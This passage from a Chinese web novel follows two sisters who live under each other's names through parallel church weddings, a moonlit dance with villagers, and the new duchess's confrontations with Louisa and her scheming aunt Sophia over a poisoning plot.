高台之上,他穿一身鎏金教袍,手持权杖,冠冕上的宝石古朴雍容。长长的金发垂至脚踝。四个白衣小教徒有条不紊地在身后整理袍角。 再往上,那张脸美得雌雄莫辨、看不出年龄,像是遗世千年的神圣壁画走入人间,慈悲与淡漠同时汇聚一身,而淡金色的眼睛如神话中的圣灵之眼,平等普度众生。 空灵的吟唱声里,他缓缓接过大主教手中的圣经。 唱诗班的歌谣渐渐收尾,乐团再次奏响婚礼进行曲。 伴随着低沉的大提琴乐,众人安静聆听教皇阅诵经文。 最后一个尾音落下,淡金色的眼睛看向海因里希,像一位温和的长辈。 “很高兴见证你的婚礼,愿神圣永恒曜主永远庇佑你,我的孩子。” 伊莎贝尔察觉海因里希异常地平静,似乎为此演练千百遍,连声音都充满虔诚:“感谢您的仁慈,教父。” 教皇微笑,用权杖轻点海因里希的额头,而后重复同样步骤,点了点伊莎贝尔。 大主教带领致谢:“感谢圣父赐予福音。” 伊莎贝尔被海因里希带领着鞠躬:“感谢圣父赐予福音。” 婚礼进行曲奏响高潮,花童奋力挥洒花瓣。 教皇展开宣誓词,语气轻缓:“神圣永恒曜主、至高光明神在上。海因里希·斯宾塞,你是否愿意娶身边的女士为妻,与她在神圣的婚约中共同生活?” 海因里希深吸口气,看向伊莎贝尔。 对视的那一刻,所有纷繁的念头纷纷抛在脑后。 今天,是属于他们的婚礼。 伊莎贝尔看着海因里希的脸,想起初见时,这个人张狂高傲的模样。 时而傲慢、时而幼稚、时而脾气很坏、时而心肠柔软…… 花瓣在空中飘扬,和那天象征着胜利的花环一样美丽。 那天,她在场中疾驰,瞄准敌人的那一刻,却撞进那双黝黑的眼睛里,射出的箭矢殊途同归。 他们都是如此锋芒毕露,都热爱旷野驰骋,如此尖锐碰撞的两个人,却可以一起躺在草地上看星星,并约定做一对并肩同行的搭档。 也许是人群里玛丽姨妈笑容太慈祥,使得伊莎贝尔忽然拥有瞬间的柔软。 她想,爱情虽然没那么重要,婚姻也没有那么牢固。但不妨试试看。 短暂同行的一路,他们是貌合神离的未婚夫妻,却也是默契战斗的队友。 支撑他们一路同行的,是无关风月、勇往直前的义气。 “你是否愿意爱她、安慰她、尊敬她、保护她,无论疾病还是健康;是否愿意舍弃其他一切,只忠于她,唯此一生?” 誓词还在继续。 可彼此都明白,约定不在嘴上,而在心里。 她听见他说——“我愿意。” 肯特郡教堂,赫尔曼的声音响在耳畔。 奥黛丽看着他深灰色的眼睛,突然想,那朵雪莲真的为她而来了。 小花童们尽职地挥洒花瓣,像白雪落了满头。 也许礼堂氛围太郑重,它见证了那么多幸福,以至于聆听誓词的那一刻,赫尔曼有些恍然。 银灰色的眼睛倒映着新娘的脸,他凝望她,觉得今天的一切都如此不真实。 他步入了婚礼的殿堂,和一位前半生毫无交集的女孩。 他们要签订誓约,承诺对彼此不离不弃,相伴一生。 一生那么长,那句“我愿意”,说出口时竟也毫无犹豫。 高台上,神父再次问:“伊莎贝尔·诺曼女士,你是否愿意以他为夫,与他在神圣的婚约中共同生活,在婚姻的圣所中相伴?你是否愿意爱他、安慰他、尊敬他、保护他,无论疾病还是健康?是否愿意舍弃其他一切,只忠于他,唯此一生?” 同一时间,不同地点,教皇淡金色的眼睛望向伊莎贝尔,喊出奥黛丽·诺曼的名字,并问出同样的誓约。 时空交错,肯特郡和墨伦维克的教堂里,拥有相似蓝眼睛和金发的两位新娘,同时看向自己的新郎——神圣真主见证下,她们要以彼此的姓名缔结誓约。 尖顶琉璃窗外,云层遮住太阳,它偷偷注视着两个教堂里的新娘。 圣威斯福特教堂,伊莎贝尔声音平静,缓缓说:“我愿意。” 肯特郡教堂,奥黛丽露出微笑,深吸一口气:“我愿意。” 交错时空的两声回答,似乎融汇在一起,同时缔结婚姻诺言。 戒指套进无名指,誓约落定。 教堂的准点钟声同时敲响,花瓣洋洋洒洒,落在两对新人的肩头。 窗外,云朵飘走,太阳露出微笑,普照大地。 站在起点,谁也无法预知这是怎样的缘分。 只有高悬的曜日知道,错误的开端,兴许会通往并不错误的结局。 两个教堂再次响起欢呼声,热烈的祝福里,新郎亲吻属于他们的新娘—— 作者有话说:更新时间正好是八月五号,改成今天结婚! 看到这一章的大家,都是见证婚礼的宾客! 开饭晚点啦!吃席吧宝宝们! PS:再解释一下,怕有一些特殊信仰的宝宝误会,文中圣曜教以及教皇全是虚构,全是乱扯,以剧情为主,别细究(顶锅盖) 第42章 蜻蜓点水般的吻, 一触即分。 教堂欢呼声中,奥黛丽微怔,后知后觉地摸了摸嘴唇。 如果不是鼻尖残留熟悉的雪松香味, 她会以为那是错觉。 再抬头,就看见赫尔曼面无表情,仿佛只是完成一桩公事。 奥黛丽垂眸, 很快扬起微笑, 若无其事- 婚礼仪式结束,宾客齐聚温斯顿庄园参加婚宴。 作为肯特郡的新贵,来给赫尔曼捧场的人很多, 锡兰公国讲究行事体面, 哪怕是布鲁森家族这样的对手, 也会在婚礼当天送上祝福以及贺礼。 葛丽泰早就安排好厨娘为此次隆重的晚宴做准备, 她不擅长交际,只能尽力做好后勤工作。而台面上的功夫则交给了诺曼夫妇。 虽然凭着落魄男爵的身份去不了墨伦维克,但诺曼家族祖上富有底蕴,爱德华的气度和素养足以应付肯特郡的商人。夫人那边,简妮和安娜自小受乡绅父亲的熏陶,迎来送往是基本技能。 一时间, 整个婚宴现场十分热闹和谐。 原本被请来帮忙的莫尔太太,看见新娘一家游刃有余的模样, 自叹不如。 知道自己没有用武之地,她安心地开始享用赫斯兰大厨的晚餐, 一边暗暗称赞。 果然娶了贵族之女还是有好处的。 不管诺曼家族在真正的贵族圈是什么地位,但在肯特郡,能有这样一门谈吐不凡、气度优雅的姻亲,已经让怀特家族的形象提升一个档次。 一心想看笑话的布鲁森家族愿望落空, 丽萨牙齿都快咬碎。 当年老布鲁森费尽心思将孙女嫁进布伦瑞克伯爵府,这件事让丽萨至今还是肯特郡最令人羡慕的千金小姐。 可是今晚在诺曼一家的衬托下,商人们或多或少明白了一个道理。 头衔固然重要,但落到实处的帮衬才更为关键。 布伦瑞克伯爵府来头是比诺曼家要大,可是当年婚宴,男方家人对商人宾客们的不屑与傲慢,溢于言表。别说像诺曼夫妇这样热情招待,甚至连露面打个招呼都是看在丽萨三催四请的份上。 有了如此鲜明的对比,商人们对诺曼家更是不吝啬赞美之词,一边还暗戳戳将丽萨贬低了一顿——都是用钱换头衔,看看你们,再看看人家! 外面有家人帮忙撑场面,奥黛丽着实松了口气。 现在他们新婚夫妻俩只需要跳支开场舞,再喝杯波特酒就算完事! 赫尔曼牵着新娘的手来到舞池,明显感觉到她很僵硬。 他不知道,奥黛丽正在疯狂催眠自己,周围的观众都是大白菜! 她脑子空白地跳完整支舞,中间有没有踩到赫尔曼的脚都不知道! 舞曲结束,奥黛丽如释重负,趁人不注意拎着裙子就逃了出去。 幸好宾客们已经自发在舞池里旋转,欢快的笑声与音乐一波又一波,像浪潮拍打着温斯顿庄园。 乐声逐渐远去,奥黛丽关上露台的门,晚风送来清凉,吹拂着她的裙摆。 她的视线很快被楼下院子里的人吸引。 “你在看什么?” 冷淡的嗓音在身后响起。 如无必要,赫尔曼也不喜欢将时间浪费在无效的交际上。 隆重的婚礼,疲惫的不止新娘。 现在他已经是众人巴结的对象,与其在里面听一晚上的奉承,不如找个安静的地方散散心。 他刚要离开,身边熟悉的身影飞速溜向露台,脚步下意识追上前,就看见新娘的背影。 夜色里,雪白纱裙随风扬起,她靠着露台栏杆,侧脸沐浴在月光下。 奥黛丽回头,眼前一亮,笑着指给他看:“你瞧!是白天给我送祝福的村民们!一定是心善的库珀夫人特意为他们开设了宴席!” 赫尔曼顺着她手指的方向望去。 只见楼下摆了数条长桌,桌上有美酒佳肴,几十个村民围坐享用美食,一边拍着手高唱祝福曲。 歌声里,活泼的小乞丐当众来了段舞蹈,众人爆发喝彩声,“好!再来一个!” 很快,小乞丐从观众里拉起一个腼腆的男孩,笑嘻嘻推他去跳舞。 男孩刚成年的模样,满头红发,脸上长着雀斑,在众人的起哄声中害羞得满脸通红。 赫尔曼收回视线,并不觉得这有什么好看的。 葛丽泰热衷扶贫济困,他却没有多余的善心,更没有兴趣欣赏一群沉溺在贫困的河流里而不设法自救、反而麻痹其中只顾眼前开心的人。 他不着痕迹地瞥向奥黛丽,后者没有察觉,眼睛亮晶晶,甚至跟着他们一起欢呼:“来一个!来一个!” 赫尔曼嗤笑。 自己跳舞的时候唯唯诺诺,起哄别人倒是有劲。 雀斑男孩脸颊红得滴血,在善意的呼声里,他深吸一口气,鼓足勇气站在一名年轻女孩的面前,并发出邀请:“我……我可以请你跳一支舞吗?” 女孩害羞低头,却将手放在他的掌心。 众人短暂沉寂,很快欢呼声掀翻屋顶! “好样的!凯文!” “祝福你们!幸福的一对!” …… 大家默契地唱起祝福曲,有的自发敲击杯盏伴奏,歌声里,雀斑男孩牵起女孩跳了一曲华尔兹。 露台上,奥黛丽捂嘴:“哇!他们是情侣吗?” 很快,像是为了回答她的猜测。 一曲终了,男孩单膝下跪。 小乞丐送来一个小盒子和刚摘的新鲜野花。 女孩闪烁着泪光,不可置信地看着男孩打开小盒子,里面躺着一只朴素的银戒指。 对于穷苦平民来说,这枚戒指足够珍贵,它在黑夜里闪闪发光,和那束沾着露水的野花一样美丽。 奥黛丽怔然看着这一幕,“噢,真浪漫。” 赫尔曼几不可查地皱眉,看向她的无名指——他赠送的红宝石的婚戒,足够买下几万个银戒指。 他不明白,为什么自家新娘会露出那样羡慕的表情,难道自己给的不够多吗? 楼下,求婚仪式还在继续,男孩结结巴巴地诉说着相识以来的经过,众人逐渐安静。他的话语没有华丽的修饰,仅仅是平铺直叙,讲述了一对平凡的年轻男女相识相恋的故事。 最后,他轻声问:“你愿意嫁给我吗?” 感性的胖大婶红了眼眶,大叔笑着鼓起掌,小乞丐微笑着喊:“答应他!答应他!” 所有人自发捡起美丽的野花,扔向中央的男女:“答应他!答应他!” 看着满地花雨,奥黛丽哽咽:“真感人。” 赫尔曼面无表情,掏出手帕:“……” 奥黛丽顺势接过擦了擦眼睛,很快,她想到什么,拎着裙子跑回宴会厅,又飞速冲了回来,手里多了一束捧花。 “赫尔曼!我们也该送上祝福!”奥黛丽晃了晃手里的捧花,突然朝那边大声喊:“嘿!看这里!接住它!” 所有人被她的声音吸引,随即惊喜起身:“噢!那是诺曼小姐!噢不……现在该说怀特夫人!” “怀特夫人!感谢你们的热情款待!” “嘿!新婚快乐!美丽的新娘!” “噢!您和怀特先生看起来真是般配!祝福你们!” “有怀特夫妇见证你的求婚,凯文,你真是幸运!” …… 大家纷纷欢呼。 “请把注意力交还给那位被求婚的女孩好吗?”奥黛丽大笑,将捧花扔向女孩。 象征永恒的迷叠香花束在空中划过抛物线,顺利掉落在满脸错愕的女孩怀里。 她抬头,看着奥黛丽在露台上朝自己挥手,眼底盈满温暖的笑意,“祝你永远幸福!无论你是否会答应那个男孩!” 女孩愣住,怔怔看着手中珍贵的花束。 见证婚礼的手捧花,象征着新娘的幸运,而慷慨的女士选择将它传递给素不相识的陌生人,只为祝对方幸福,无论她会如何抉择。 赫尔曼也愣了数秒。 在他看来,没有物质的婚姻绝不会有好的结果。 一枚银戒指算得了什么?廉价的承诺而已,不过赚得一时的眼泪与感动。 而女孩们往往拜倒在这种感动里,草率交付一生。 新婚妻子诺曼女士不就是这样多愁善感的姑娘吗? 前一刻,他真的以为她会跟着其他人一样,催促女孩答应求婚。 却万万没想到,她的回答出人意料。 奥黛丽浑然不觉,笑着喊道:“做出你内心的选择吧!美丽的女士!” 女孩深吸一口气,那束迷叠香似乎给了她冷静的力量,让她有了理智思考的余地,而不是沉浸在一时的幻觉里。 她看着男孩澄澈的眼睛,回想起过往的点点滴滴。他虽然木讷,却诚实善良,会给自己上交工资,还悄悄攒钱给自己买礼物。他们很穷,却会彼此加油打气,脚踏实地赚钱…… 这些美好的品质,远远比一个浪漫的求婚仪式更加打动人,更是奠定一段美满婚姻的基石。 迎着男孩真挚的目光,女孩深吸一口气,微笑点头:“我愿意。” 众人爆发欢呼,掌声雷动! “恭喜你们!” “祝福你们!” 在起哄声中,雀斑男孩凯文激动地抱着未婚妻转了个圈。 女孩脸颊红彤彤,推开男孩往露台上看去,她鼓起勇气微笑道:“怀特夫人……” “叫我伊莎贝尔就好!”奥黛丽欢快招手。 “伊莎贝尔小姐……”女孩害羞举起野花,“感谢您的慷慨与祝福。可以邀请您和您的丈夫,一起来跳舞吗?” 奥黛丽一愣,赫尔曼轻笑,戏谑地看着妻子,一副“我看你怎么办”的模样。 奥黛丽讪讪笑道:“呃……我不擅长跳舞。” “来吧!诺曼小姐!”老熟人小乞丐还是喊着原本的称呼,俏皮地眨眼道,“我们不像里面的人那样讲究,都是随便跳的!快来一起热闹吧!” “欢迎您的加入!美丽的新娘!” “是啊!请允许我们给您送上祝福!” “噢!要不是婚车停留时间太短,我们一定还能唱得更好!请给我们再次展示的机会吧!” …… 大家一句接一句,友善地开起玩笑。 奥黛丽拗不过他们的热情,只好答应。 临走时,她一把拉住赫尔曼,不由分说地将对方也带了下去。 “别让我一个人丢脸,求你了!”奥黛丽小声嘟囔,一面把他当盾牌挡在自己前面。 赫尔曼:“?” 直到站在大家面前,银头发先生脸色仍然冰冷:“我可不跳……” 话未说完,就被热情的胖大婶推进人群,连带着奥黛丽一起。 等回过神,所有人已经手拉手站成一圈,朝着同一个方向载歌载舞! 胖婶是镇子里远近闻名的民间艺术家,歌声高昂嘹亮,她率先唱起祝福曲,众人跟着应和,将未婚的凯文夫妻围在中间,唱唱跳跳。 年轻的小情侣红着脸在中央跳了一支舞,女孩突然拉了一把奥黛丽,奥黛丽下意识拉住赫尔曼,两个人一起站在了圈内。 大家热情越发高涨:“怀特先生!快邀请你的新娘跳一支月下舞吧!” 肯特郡的习俗,临近满月时,在月下跳舞,会得到神圣的祝福。 “我……我不会。” 奥黛丽笑着摆手,有些局促地看了眼赫尔曼。 “这一点儿也不难!请看我们!”女孩也融入热闹的氛围,和未婚夫一起展示。 明月高悬,朴素的裙摆在空中旋转飞扬,二人注视着对方,很快都害羞得低下头,明明是简单的舞蹈,却因为眼底的情意,和身边悠扬动听的歌声,显得无比美妙。 奥黛丽渐渐看得入神,心里燃起一丝微小的渴望。她飞快地扫了眼赫尔曼,又赶紧低下头。 银头发先生当然没有错过这一眼。 他始终在注视着她。 看见清冷月色照着她的侧脸、看见她怔然出神、看见她眼底燃起的神采。 他大概明白她在期待什么。 不是那枚价值连城的红宝石婚戒,也不是城堡里盛大的婚宴,而是少年递给女孩的那束野花和眼底真挚的情意。 即便那是在他眼里,随处可见的廉价之物。 修长的手出现在她的眼前,伴随冷淡的嗓音:“来吧。” 奥黛丽一怔,“你要邀请我跳舞。” 赫尔曼面无表情,抬头扫了眼夜空:“看在今晚月色还算美丽的份上。” 奥黛丽愣住,很快扬起笑容,高兴地握住他的手:“好!” 温热从掌心传递,从他冰凉的指尖一路蔓延。 众人鼓起掌,有人欢呼,有人歌唱,他们自发围成圈,将新婚夫妻围在中间。 月光下,赫尔曼的手搭上妻子柔软的腰肢。 也许是氛围太美妙,奥黛丽竟有一种从未有过的放松感,全身心跟着赫尔曼的步伐舞蹈。 银灰色的眼睛里倒映她的脸。 前半生,他读过的浪漫诗篇少之又少。这一刻,莫名想起偶然听过的一句诗。 ——玫瑰如此润艳,于是在我心中,已听不到蜻蜓的震颤—— 作者有话说:最后引用的是阿赫玛托娃诗歌《猎物》 让两对CP甜一下子,很快走剧情了。 本来想把姐姐那对的也写完,实在手速跟不上哈哈。 第43章 美丽的月光同样照耀着墨伦维克。 公爵府的婚礼可容不得两位主角偷懒。 海因里希被女王叫去谈话, 薇奥莱特夫人同行。 于是新任斯宾塞公爵夫人伊莎贝尔只好戴上社交面具,留在宴会厅里,迎接一位又一位的来宾。 送走前来祝贺的辛西娅夫人,再抬头,却看见路易莎站在眼前。 伊莎贝尔微微挑眉, 递给她一杯波特酒:“如果你也是来祝我新婚快乐, 那我很欢迎。” 路易莎脸色苍白, 犹豫片刻,接过波特酒一饮而尽:“祝福你,得偿所愿, 终于成为查尔维斯的女主人。” 伊莎贝尔平静地看着她,知道对方还有没说完的话。 自从埃德蒙被逮捕, 直到婚礼这一天, 路易莎都不见人影。 大概是想请求霍华德侯爵府能不能帮丈夫疏通,结果可想而知。 从薇奥莱特放弃为孙子说情开始, 路易莎就明白这件事毫无转圜余地。 别说她现在是和娘家嫂子霍华德太太势同水火的关系,就算她还是当年的侯爵小姐, 面对证据确凿的谋杀案,也束手无策。 这些天, 路易莎四处奔波,甚至舍下脸去娘家求嫂子, 却吃了闭门羹。 她终于认清现状,在婚宴这天露面。 “我……”路易莎顿了顿, 深吸一口气,“我知道你不会放过埃德蒙,可是,我想求你放他一条生路, 他可以在牢里待一辈子为做过的坏事忏悔,但……可不可以留他一条命?我不能没有他……” 伊莎贝尔把玩着酒杯,良久,轻笑抬眸:“路易莎,我以为你是个聪明人,看来是我想错了。” “爱情真的会让人冲昏头脑。你有没有想过……”她语气平淡,“埃德蒙的命是命,其他四位枉死的小姐就不是命吗?如果不是我及时发现,恐怕今天就不是我的婚礼,而是我的葬礼。所以你有什么资格替他求情,他配吗?” 路易莎:“可……可是你现在明明没有事……” “是的,我没有事,但这不代表埃德蒙的罪行可以被赦免。” 伊莎贝尔走近一步,微笑看着路易莎,一字一顿,“现在,说到这个地步,你还要帮他吗?” 路易莎脸上血色尽失,捂着脸浑身颤抖。 “对不起……对不起,诺曼小姐,是我说错话了……我知道我不该替他说话,可是……” 她极力克制,泪水却从指间流淌。 “我没办法了……”路易莎摇着头,语无伦次,“我已经嫁给他了,我爱他……他以前真的不是这样的……他是个好人……” “亲爱的,不必试图告诉我刽子手曾经也有人性。”伊莎贝尔轻笑,摇晃着酒杯里的液体,“我毫无同情心。” “还是说之前对你的仁慈,让你误会我多么善良?”她看着路易莎,目光平和,“我当初放过你,是以为你还有救。现在,我仍然会告诉你,你还有机会回头。” 路易莎身形僵硬,凄凉一笑:“回头?怎么回?他死了,我这辈子也完了。” 伊莎贝尔平静地盯着她:“我曾经跟你说过,夫妻的利益有时候并非是一致的,你可以从他的船上下来。” 路易莎茫然摇头,苦笑:“下来?我能下去哪里?奥黛丽,你把事情想的太简单,你才结婚,不明白婚姻对女人的意义……” 她惨然轻笑,擦掉脸上的泪:“和他私奔的那天,我把霍华德家的脸都丢干净了,父亲给了我一大笔嫁妆,我知道,那意味着买断我们的父女情分,从今往后,我和他们再无瓜葛。” “你以为我还是侯爵千金吗?”路易莎哽咽,捂着脸极力克制哭声,“不是了,再也不是了……我没有了娘家,就只能全力依靠丈夫,没有丈夫,我就是个寡妇……呜呜呜我劝过他,可是没有用,他已经失控了……” 时下,离过婚的女人和寡妇一样,都会被贵族社交圈视为没有利用价值的人。 伊莎贝尔静静看着她,既没有居高临下贬低,也没有刻意温情的关怀,更多的是以旁观者视角,听她诉说。 “我知道那是错的……我知道……”路易莎喃喃,泪水像断了线的珠子,“可女人永远只是男人的助手,我无法掌控他的航向,我只能盼望他嬴,我只能告诉我自己,相信他,爱他……” “我没法不爱他!我必须每天靠着爱他的回忆才能过下去!”她闭上眼,嗤笑,“如果不爱他,我只会更加痛苦,我没办法说服自己变成这个样子……从侯爵府千金变成现在这个样子,甚至还要当个沾满污名的寡妇!” “我为了他,放弃家人,放弃名声,放弃本该大好的前程!除了那点爱情,我一无所有!”她再也克制不住,捂着脸哀恸哭泣:“我怎么就活成今天的模样!我为什么活成今天的样子啊……我回不了头啊!我这辈子已经宣告结束了!” 伊莎贝尔垂眸。 忽然想起第一次劝告路易莎时,镜子里倒映出对方的神情。 她什么都明白。 她当然知道自己上了一艘必沉的船。可是这份清醒只能让她更加痛苦。 女人出嫁前的荣耀是父亲给的,出嫁后的体面是丈夫给的。当初她不顾一切嫁给爱情,后面的苦果都要自己咽下去。 后悔吗?当然。 可世上最难受的情绪就是后悔。本该拥有的一切却因错误的抉择而失去,比一开始就一无所有更致命。 所以她只好催眠自己,还拥有爱情。 也许当初她是爱过埃德蒙,可那点多巴胺分泌产生的激情,早就在日复一日的矛盾里消磨。 如果连爱情都不剩,那她就必须承认自己陷入彻头彻尾的失败漩涡里。 伊莎贝尔看穿一切,将酒杯递到她面前:“哭完了吗?” 路易莎抽泣声顿住,似乎没想到对方旁观别人的惨状,还能如此冷静。 “哭完就喝了这杯酒,站起来,走下去。”伊莎贝尔淡淡道,“还说你认为泪水能改变一切?那么罪犯只需要去法官面前痛哭流涕。” 路易莎哽住,“我没有这么想……” “我知道你没有,只是例行提醒。”伊莎贝尔打断,平静道,“其实我很高兴,在那天我和你谈话后,你没有再帮埃德蒙做事,还对我作出提醒。” 路易莎急忙道:“我不知道他要用什么办法害你,否则我会提醒得更详细!” “我知道。”伊莎贝尔淡淡抬眸,“所以我支付给你的报酬,就是留你一命。” 路易莎愣住。 “就像风险投资,我给予的东西,取决你投入多少。”伊莎贝尔淡淡道,“你为自己换回了一条命,应该感到庆幸。所以,别再要求我放过埃德蒙,他不是你该索取的利息。” 路易莎沉默良久,嗓音干涩:“我明白了,谢谢。” 伊莎贝尔将高脚杯的酒一饮而尽:“不客气。” 路易莎看着她走远,没再纠缠。 她明白,除了这条命,其他的一切都带不走,更无法留在查尔维斯。 新任的女主人,不会在身边留下隐患,尤其还是曾经害过自己的人。 能留她一条命,已经仁慈至极。 路易莎深吸一口气,忍住眼泪。 今后的路,她必须靠自己走。 可是又能怎么走呢……她只是个女人,丈夫还是个死刑犯,娘家也不会收留她,她一无所有…… “路易莎。”伊莎贝尔忽然回头。 陷入绝望的路易莎怔然回望,眼底燃起渺小的火光。 改变主意了吗?她心软了?会收留我吗? 似乎看穿她眼底的希冀,伊莎贝尔的话语将她拉回现实,“明天我会让艾米丽把你的东西收拾好,并给你足额的支票,够你下半生安稳度日。希望在我回去之前,你已经做好离开的准备。” 路易莎脸色黯淡下去:“……” “还有。”冰蓝色的眼睛看着路易莎,她顿了顿,似乎叹了口气,“我必须纠正你,女人不必去管男人的航向,更不用做一株菟丝花依附他。去做你自己的掌舵者,就算现在只是一艘四面漏风的破船,那也比跟着别人淹死好。不是吗?” 说完,伊莎贝尔拎着裙子走远。 路易莎留在原地,表情怔然。 她想到什么,倏然抬眸,追了上去。 “等等!”路易莎拉住伊莎贝尔,深吸一口气,酝酿许久才开口,“我有重要的事跟你说。” 伊莎贝尔蹙眉。 路易莎盯着她的眼睛,压低声音,郑重道:“一定要小心索菲娅!这次事件,很可能是她和埃德蒙策划的。” 她回想起那个和埃德蒙交易的女人。 一闪而过的裙摆、手臂上月牙形的胎记…… 当时她试探着反问埃德蒙,他默认,当时路易莎就猜测是索菲娅。 伊莎贝尔若有所思,很快点头。 “谢谢。” 她轻飘飘撂下感谢,再次走远。 路易莎听见最后一句话传来。 “去试试吧,路易莎,走出去看看。人活着,总有路可走。” 路易莎后知后觉,咧开嘴无声地笑了。 是啊,只要还活着,其他的重要吗?就算是四面漏风的船,也还有修补的余地。可船要是沉了,就什么也没了。 她又何必为了莫须有的东西,非要跟着丈夫死在一艘沉了半截的豪华游轮里,只因为可笑的自尊。 深吸一口气,路易莎擦干眼泪,准备离开。 刚走出宴会厅,前方的黑夜里,有人叫住她。 “姑姑。” 路易莎上前两步,仔细一看,“莉莉丝?你怎么……” 后半句话哽在喉咙里。 莉莉丝的身边是霍华德太太,此刻正臭着脸,一看见小姑子就撇开头。 让路易莎愣住的是嫂子身后的三个人——头发花白的霍华德老侯爵以及侯爵夫人、还有搀扶着二老的兄长。 自从与家人决裂后,这还是路易莎第一次与他们相见。 彼此对视良久,还是侯爵夫人红了眼眶,冲她招手:“路易莎,回家吧。” 路易莎的眼泪瞬间落下- 宴会厅里,伊莎贝尔没空关心霍华德家的温情场面,以及小姑子回家会和嫂子展开怎样的斗争。 她当然不会告诉路易莎,是她提前通过莉莉丝告知霍华德侯爵,关于路易莎的事情。 她并不希望自己在对方心里留下多么仁慈的印记。 毕竟,按照原书中的情节,如果没有伊莎贝尔出现,那么路易莎作为埃德蒙阵营的既得利益者,也许就这么顺理成章地享受了好处,而没有真心忏悔。 所有悔恨都建立在失败的基础上,伊莎贝尔比谁都明白这个道理。 但是,就如她刚才对路易莎所说的。 如果一个身不由己的女人能够回头,那么她不吝啬伸出一只手,拉对方一把。 至于能不能够站起来,就全靠路易莎自己。 人只要想活着,怎么都能活下去。 现在,她没空管别的,而是一心琢磨路易莎透露的消息。 索菲娅是埃德蒙背后的人吗? 伊莎贝尔缓缓勾起唇角,那可有意思极了。 她抬眸,心中所想的那位女士,正好出现在面前。 “奥黛丽,新婚快乐。” 美艳动人的索菲娅·斯宾塞夫人轻摇羽毛扇,优雅走近,“今晚的主角忙于应酬,总算有空能让姑妈送上祝福了。” 伊莎贝尔微笑,颔首道:“姑妈在找我?正好,我也在找您。” 冰蓝色的眼睛划过深意。 索菲娅微笑凝固,很快掩饰过去,像往常那般友善,“我的荣幸。” 第44章 “如果我没看错,刚刚走出宴会厅的是路易莎吧?”索菲娅挽着伊莎贝尔的手臂,两个人步伐优雅,避开人群闲聊。 “是的。”伊莎贝尔从路过的侍从手里端过一杯颜色明亮的酒, “为婚礼准备的特调酒,名为仲夏夜之梦, 味道不错, 姑妈试试?” 索菲娅接过高脚杯,姿态熟练地闻嗅,“很香,颜色别致,像庭院里的紫罗兰,如果不是我最近身体不适,一定要细细品味。谢谢你的好意,美丽新娘。” “那好吧,是这杯酒的遗憾。”伊莎贝尔挑眉,吩咐侍从退下,自己端着酒喝了一口。 冰蓝色的眼睛自始至终盯着索菲娅,吞咽完酒液,忽然露出微笑, “看,它没毒。” 索菲娅笑容不变,露出诧异的神态:“奥黛丽,你在说什么?” 伊莎贝尔慢悠悠地晃着杯中的液体,灯火照耀着酒杯,折射出美丽而梦幻的紫色光线。 “姑妈听不明白?”她轻笑凑近,压低声音,“你不是已经看见了吗?路易莎和我说了那么久的话,你猜,她都说了什么?” 索菲娅面容平静,眸光滑过笑意:“噢,这我可真猜不到。想必是求情吧。谁都知道路易莎这个可怜的孩子,心里只有埃德蒙,哪怕他犯下滔天罪行。” 伊莎贝尔微笑:“那姑妈认为我应该看在姻亲关系的份上,放过他们吗?” 索菲娅顿了顿,眸光微动,似乎在判断她话里的深意。 “当然不能。”良久,索菲娅垂眸,惋惜地叹了口气,“为了继承权,不惜毒杀那么多人,我想任何有良知的公民都无法原谅。” 伊莎贝尔赞同地点头:“姑妈说得对极了。” 她顿了顿,盯着索菲娅,勾起唇角:“所以,从今天开始,你做好了和埃德蒙落得同样下场的准备吗?姑妈。” 索菲娅笑容僵住。 灯火辉煌的大厅里,往来衣香鬓影,到处都是欢歌笑语。 谁也不知道,角落里看似相谈甚欢的两位女士,陷入冰冷的对峙。 美艳的脸庞总是很容易令人心生好感,很快,索菲娅黝黑的眼眸闪过温和的笑意,却仍像戴着假面,“我以为,成熟的对手不会那么容易暴露底牌。” 二人继续向前踱步,亲密得一如往常。 “假装不知情?保持敌明我暗的态势,然后悄悄反击?”伊莎贝尔喝了口酒,看向索菲娅,“如果你是埃德蒙,那我会选择这样做。可惜你不是……” “看到路易莎接近我的那一刻,合格的幕后黑手,就该做好身份暴露的准备。”她看着索菲娅,缓缓揭穿对方内心所想,“显然,你很清楚这一点,再演一场无关痛痒的戏,那就没意思极了。你说对吗?” 索菲娅垂眸,笑意里藏着了然。 谈话至此,双方已经明牌。 索菲娅终于摘掉面具,语气温柔,眸光暗含冰冷:“你比我想象中的要聪明,也更难对付。埃德蒙那种蠢货,死在你手里,理所应当。” 伊莎贝尔没有说话。 索菲娅挑眉,挽着她的胳膊,继续道:“其实不用路易莎提醒,你已经猜到是我。” 伊莎贝尔笑了笑:“男人们总是忽视女人的野心,埃德蒙也许认为,你和路易莎一样,只是依附他的菟丝花,借助对他的投效,换取一些帮助。” 索菲娅眸光闪过讥诮,“噢,对极了。我只是央求他,希望他继承爵位后,能让我成为名正言顺的斯宾塞家女儿。” “如果我是个男人,这句话会让他警惕。可正因为我是个女人,还是声名狼藉,一无是处的私生女,所以他理所当然地觉得,我是个祈求庇护的可怜虫,自然就相信了。” “可他忘了,名正言顺的斯宾塞家女儿,也会拥有继承权,甚至先于他。”伊莎贝尔缓缓道。 索菲娅笑了起来:“是的,海因也明白这一点,所以在我祈求他的时候,他没有答应。也许你不信,我其实更喜欢来自对手的提防,这至少承认了我带给他们的威胁。” “一位从底层挣扎着爬起来,成为伯爵夫人、还将女儿嫁给王室公爵的女士,的确是值得重视的对手。”伊莎贝尔看着她。 “短短接触数次,能和我说出这番话,你也是值得重视的对手。”索菲娅松开她的胳膊,轻摇羽毛扇,眸光晦暗不明,“不过……我想教你的是,光有重视还不够。” 她贴近伊莎贝尔的耳畔,轻声说:“还得心狠手辣。” 伊莎贝尔垂眸,冰蓝色的眼睛划过沉思。 乐团奏响钢琴曲,悠扬的乐声里,索菲娅抬起头,顺手拿起侍应生托盘里的香槟,回敬伊莎贝尔。仿佛又变成了那位和善的姑妈。 “新婚快乐,亲爱的。”她微笑,拉长尾音,“来日方长。” 彼此对视时,二楼门开,海因里希和女王走了出来、身边跟着脸色难看的薇奥莱特夫人。 所有人遥遥望去,恭敬颔首。 海因里希准确地找到妻子的身影,二人视线在空中交汇。 对方隐晦的一眼,看不出情绪。 伊莎贝尔本能察觉,事情似乎有些不对劲。 她对上索菲娅虚伪而友善的笑,举起酒杯,缓缓道:“来日方长。” 索菲娅转身离开。 伊莎贝尔盯着杯中的液体出神,直到海因里希走近。 “刚刚女王找我们谈话,菲利普向她请示,赐予索菲娅姑妈回归斯宾塞家族的权力。”海因里希压低声音,情绪复杂难辨。 伊莎贝尔蹙眉:“女王应该知道薇奥莱特夫人的意思。” 